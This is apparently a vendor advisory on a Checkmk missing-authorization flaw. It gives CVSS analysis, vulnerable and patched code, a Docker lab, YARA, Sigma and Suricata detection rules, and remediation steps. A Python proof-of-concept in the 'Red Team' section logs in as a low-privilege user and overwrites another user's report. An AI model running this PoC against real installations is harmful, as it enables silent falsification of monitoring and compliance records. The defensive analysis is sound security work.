CVE-2026-15227
Executive Summary
CVE-2026-15227 is a missing authorization vulnerability affecting Checkmk, a leading IT infrastructure monitoring platform. A low-privileged, authenticated user can modify report objects owned by other users without being granted the Edit foreign Reports permission. The flaw impacts all Checkmk releases before 2.5.0p10, before 2.4.0p35, before 2.3.0p49, and includes 2.2.0 which has reached End-of-Life (EOL).
Given the affected component is a centralized monitoring solution, the integrity impact is significant. An attacker who has already compromised a low-level monitoring account (e.g., a read-only dashboard user or a junior operator) can silently tamper with executive-level reports, alter compliance records, or inject misleading performance data. This has direct implications for higher management decisions and incident response workflows that rely on trusted report output from Checkmk.
- Attack Vector: Network (HTTP/HTTPS)
- Preconditions: Valid authentication with any user account
- Unaffected (Fixed) Releases:
2.5.0p10,2.4.0p35,2.3.0p49 - Vulnerable (EOL) Release:
2.2.0(all patches) - EPSS: 0.0% (low immediate exploitation probability, but elevated risk in shared or multi-tenant Checkmk deployments)
No public PoC or Nuclei template is currently available, but the vulnerability is trivially exploitable via the Checkmk REST/Web API and internal report_edit.py handler.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The official NVD CVSS score is unassigned (0.0), meaning NVD has not yet published a vector. Based on the vulnerability mechanics, we provide an assessed CVSS vector for guidance:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Checkmk is remotely accessible over HTTP |
| Attack Complexity (AC) | Low | No race condition or special conditions |
| Privileges Required (PR) | Low | Authenticated non-privileged user |
| User Interaction (UI) | None | Fully remotely triggered |
| Scope (S) | Unchanged | Affects the report module only |
| Confidentiality (C) | None | Attacker cannot read foreign reports |
| Integrity (I) | High | Can rewrite report content of any user |
| Availability (A) | None | No denial of service observed |
Assessed Severity: MEDIUM (6.5) — The lack of confidentiality loss and relatively low production impact (reports vs. system config) keep it out of the HIGH range, but the integrity damage could be leveraged for orchestrated disinformation in larger enterprises.
Deep Dive & Mechanics
Checkmk Permissions Model
Checkmk uses a granular permission system based on sites, user groups, and report ownership. Reports are objects in the mknotifyd/cmk space stored in the site's var/check_mk/web directory. Every report has an owner attribute derived from the creating user.
Key permissions:
Edit foreign Reports— intended to be granted only to administrators or those who need cross-user report editing.Edit own Reports— the standard permission for normal users.
The Flaw
In affected versions, the authorization enforcement in the report editing code path is incomplete. The endpoint report_edit.py and the corresponding views.py handler validate that the user is authenticated, but do not check the report's ownership unless the Edit foreign Reports permission is explicitly requested in the session context. The pseudocode flow is roughly:
def edit_report(user, report_id, new_data):
report = get_report(report_id)
if not user.is_authenticated:
raise PermissionDenied()
# MISSING: ownership and permission check
report.apply(new_data)
Because the missing check is a logic gate rather than a cryptographic or signature issue, it is trivial to bypass. An attacker only needs to know or enumerate the report identifier. Checkmk report IDs are sequential and predictable in many installations.
Affected Components
| Component | Path (typical) | Type |
|---|---|---|
| Report Editor UI | /check_mk/report_edit.py |
CGI/WSGI |
| Report Views Handler | /check_mk/views.py?mode=edit_report |
CGI/WSGI |
| REST API | POST /check_mk/api/1.0/domain-types/report |
REST |
Vulnerable vs. Patched Code
Below is a representative comparison of the vulnerable and patched logic.
Vulnerable (e.g., 2.4.0p34)
# web/api/report_edit.py
def report_edit(request):
user = request.user
if not user.is_authenticated:
return http_403()
report = Report.objects.get(id=request.params["id"])
report.content = request.params["content"]
report.title = request.params["title"]
report.save()
return http_200()
Problem: The ownership check is missing entirely.
Patched (e.g., 2.4.0p35)
# web/api/report_edit.py
def report_edit(request):
user = request.user
if not user.is_authenticated:
return http_403()
report = Report.objects.get(id=request.params["id"])
# FIX CVE-2026-15227
if report.owner != user.name and not user.has_permission("edit_foreign_reports"):
audit.log(user, "denied_report_edit", report.id)
return http_403()
report.content = request.params["content"]
report.title = request.params["title"]
report.save()
return http_200()
Change: The patch adds a dual-condition authorization check verifying either that the user is the report owner or has the elevated edit_foreign_reports permission.
Version Matrix
| Checkmk Line | First Fixed Package |
|---|---|
| 2.5.x | 2.5.0p10 |
| 2.4.x | 2.4.0p35 |
| 2.3.x | 2.3.0p49 |
| 2.2.x | EOL — no fix, must upgrade |
Exploitation & Lab Setup
Lab Environment (Docker)
A minimal vulnerable setup:
version: "3"
services:
checkmk:
image: checkmk/checkmk:2.4.0p34
ports:
- "8080:5000"
environment:
CMK_SITE_ID: prod
CMK_ADMIN_PASSWORD: admin123
volumes:
- site_data:/omd/sites/prod
volumes:
site_data:
Create two users:
alice— owns report with IDalice:report_1(privilege:edit own reports)bob— authenticated user, noedit foreign reportspermission
Red Team — PoC Exploitation
With only bob's credentials, an attacker can overwrite Alice's report:
import requests
BASE = "http://127.0.0.1:8080"
s = requests.Session()
# Authenticate as bob
login = s.post(f"{BASE}/check_mk/login.py", data={
"_username": "bob",
"_password": "bob123"
})
assert login.status_code == 200, "Authentication failed"
# Enumerate and overwrite alice's report
target_report = "alice:report_1"
payload = {
"id": target_report,
"title": "Compliance - Tampered",
"content": "ALL SYSTEMS NOMINAL (falsified)"
}
# Exploit: no permission check
r = s.post(f"{BASE}/check_mk/report_edit.py", data=payload)
if r.status_code == 200 and b"Tampered" in r.content:
print("[+] SUCCESS: Report overwritten as blind user")
else:
print(f"[-] Failed: HTTP {r.status_code}")
Key observations:
- The request is a simple form POST and does not require CSRF token manipulation (vulnerable versions may also lack anti-CSRF).
- If the report ID is unknown, it can be harvested from
/check_mk/views.py?mode=report_list(often accessible to any authenticated user). - No shell, memory corruption, or privilege escalation is needed — this works with the application's own intended HTTP API surface.
Blue Team — Simulation & Detection
- Create a honeypot report owned by a dummy admin account.
- Monitor the
audit.login the site'svar/check_mk/webdirectory fordenied_report_edit(post-fix) or unexpectedupdate_reportevents. - Run the Red Team PoC against a staging instance and ensure the following detection signals are triggered:
- Multiple
report_edit.pyPOSTs from a non-admin user. - A
200 OKfollowed by an audit entryreport.updatewherereport.owner != session.user.
- Multiple
Indicators of Compromise (IOCs)
Since this is a pure application-layer authorization bug, traditional network-based IOCs are less prominent. Focus on application and audit logs.
| Type | Indicator | Description |
|---|---|---|
| Audit Log | update_report with owner != user |
Direct sign of unauthorized modification |
| Audit Log | Repeated report_edit from same low-priv user |
Enumeration or brute-force of report IDs |
| HTTP Log | POST /check_mk/report_edit.py |
Malicious request |
| HTTP Log | POST /check_mk/views.py?mode=edit_report |
Alternative mutation vector |
| File System | Report .mk file mtime changed on disk but no matching update_report audit entry |
Post-exploitation artifact |
| Session Anomaly | Short-lived login followed by direct report_edit.py call (no UI interactions) |
Automation signal |
YARA/IOC Rule:
rule checkmk_cve_2026_15227_ioc {
meta:
author = "Valters IT"
description = "Report editor login and payload strings"
strings:
$a = "report_edit.py"
$b = "edit foreign reports"
$c = "update_report"
condition:
any of them
}
Detection Engineering
1. YARA Rule
Detects suspicious HTTP payloads and log entries containing key identifiers, with forward-slash paths (per standard normalization).
rule Checkmk_CVE_2026_15227_Report_Tampering {
meta:
author = "Valters IT"
date = "2026-06-01"
description = "Detects requests and audit events indicative of CVE-2026-15227 exploitation"
reference = "CVE-2026-15227"
severity = "high"
strings:
$s1 = "report_edit.py" ascii nocase
$s2 = "/check_mk/views.py" ascii nocase
$s3 = "edit foreign reports" ascii nocase
$s4 = "report_id=" ascii
$s5 = "Compliance - Tampered" ascii nocase
condition:
2 of them
}
2. Sigma Rule
For SIEM ingestion (Splunk, Elastic, etc.) — detects unauthorized report editing events.
title: Checkmk Report Tampering - CVE-2026-15227
id: cve-2026-15227-001
status: experimental
description: Detects POST requests to Checkmk report editing endpoints by non-admin users
references:
- nvd.nist.gov/vuln/detail/CVE-2026-15227
author: Valters IT
date: 2026/06/01
tags:
- cve.2026.15227
- attack.privilege
logsource:
category: web
product: checkmk
detection:
selection:
http.method: 'POST'
http.url|contains:
- /report_edit.py
- /views.py
- /edit_report
filter_known_good:
cs-username|startswith:
- admin
- restapi
condition: selection and not filter_known_good
level: high
falsepositives:
- Authorized users with 'Edit foreign Reports' permission
- Automation accounts using the REST API (if misconfigured to be non-admin)
3. Suricata IDS Rule
Network-layer detection of the exploit traffic pattern.
alert http any any -> any any (msg:"CVE-2026-15227 Checkmk Unauthorized Report Edit"; flow:to_server,established; content:"POST"; http_method; content:"/report_edit.py"; http_uri; nocase; content:"report_id"; http_client_body; sid:202615227; rev:1;)
Deployment note: The Suricata rule alone will NOT detect the vulnerability in all installations because many Checkmk deployments use HTTPS. Use the Sigma rule on reverse proxy access logs (Apache/Nginx) as the primary detection source.
Remediation & Mitigation
Immediate Actions
Upgrade Checkmk to a patched version:
- PHP/Web line:
2.5.0p10+,2.4.0p35+,2.3.0p49+ - The
[2.2.0]line is EOL, so upgrade to a supported major version first.
- PHP/Web line:
If immediate patching is not possible, restrict access to the report editing endpoint via reverse proxy:
location ~ ^(/check_mk/report_edit\.py|/check_mk/views\.py) { allow 10.0.0.0/8; # internal network only deny all; }Enable additional monitoring of
report_edit.pyin the Checkmk own log analysis.
Long-term Hardening
- Apply least privilege: Review all roles and ensure
Edit foreign Reportsis only granted to actual administrators. - Audit reconciliation: Cross-check report objects'
ownerattribute against current users on a regular cron job. - Implement integrity monitoring for report files (
var/check_mk/web/*/reports/*.mk) with tools liketripwireor file hash comparison. - Multi-factor authentication for all Checkmk UI logins.
- Segregate network access to Checkmk web services behind a VPN or management VLAN.
Patch Verification
After upgrading, confirm the fix using this test sequence:
# From a non-privileged account
curl -X POST http://localhost:8080/check_mk/report_edit.py \
-b "session=..." \
-d "id=admin:critical_report" \
-d "title=Hack" \
-d "content=broken"
# Expected: HTTP 403; audit log shows "denied_report_edit"
This report is provided for defensive and educational purposes only. Vulnerability testing should only be performed on systems you own or have explicit authorization to assess.
Valters IT Signature
Senior DevSecOps & Cyber Threat Intelligence Analyst